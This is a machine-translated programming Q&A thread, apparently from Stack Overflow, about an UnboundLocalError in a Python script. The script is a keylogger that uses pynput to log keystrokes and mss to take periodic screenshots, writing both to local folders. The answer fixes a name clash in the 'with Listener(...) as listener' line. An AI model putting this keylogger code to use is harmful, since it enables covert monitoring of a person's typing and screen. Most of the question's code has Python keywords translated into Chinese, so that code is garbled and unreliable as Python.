Python UnboundLocalError继续弹出,我不知道为什么

Python UnboundLocalError继续弹出,我不知道为什么,python,scope,Python,Scope,终端正在输出一个错误,说明赋值前引用的局部变量“Listener”。我正在尝试从pynput.keyboard import listener导入侦听器 我已经试着重新编写程序并更改导入 导入操作系统 导入时间 从线程导入线程、计时器 从mss导入mss 从pynput.keyboard导入侦听器 类间隔计时器(计时器): def运行(自): 而不是self.finished.wait(self.interval): self.function(*self.args,**self.kwargs)

终端正在输出一个错误,说明赋值前引用的
局部变量“Listener”
。我正在尝试从pynput.keyboard import listener导入侦听器

我已经试着重新编写程序并更改导入

导入操作系统
导入时间
从线程导入线程、计时器
从mss导入mss
从pynput.keyboard导入侦听器
类间隔计时器(计时器):
def运行(自):
而不是self.finished.wait(self.interval):
self.function(*self.args,**self.kwargs)
班长:
def打开按钮(自身,K):
将open(“./log/keylogs/log.txt”,“a”)作为f:
f、 write(“{}\t\t{}\n”.format(K,time.time()))
定义生成日志(自):
如果操作系统路径不存在(“./logs”):
os.mkdir(“/日志”)
os.mkdir(“/日志/屏幕截图”)
os.mkdir(“./日志/键盘记录器”)
def_键盘记录器(自):
使用监听器(on_press=self._on_press)作为监听器:
Listener.join()
def_屏幕截图(自我):
sct=mss()
sct.shot(output=“./logs/screenshots/{}.png.”格式(time.time())
def运行(自身,间隔=1):
self.\u构建\u日志()
线程(target=self.\u键盘记录器).start()
IntervalTimer(interval,self.\u屏幕截图).start()
如果名称=“\uuuuu main\uuuuuuuu”:
mon=监视器()
mon.run()
这就是错误所在

以监听器(按=self.\u按=self)作为监听器:
UnboundLocalError:赋值前引用了局部变量“Listener”

问题在于您在
\u键盘记录程序
中重新定义了
侦听器
。有关说明,请参见Python常见问题解答中的,或

要修复它,只需更改
侦听器
实例的名称。无论如何,实例通常都是用小写字母编写的

with Listener(on_press=self._on_press) as listener:
    listener.join()
请尝试将侦听器(on_press=self.\u on_press)作为侦听器:
,然后继续使用
Listener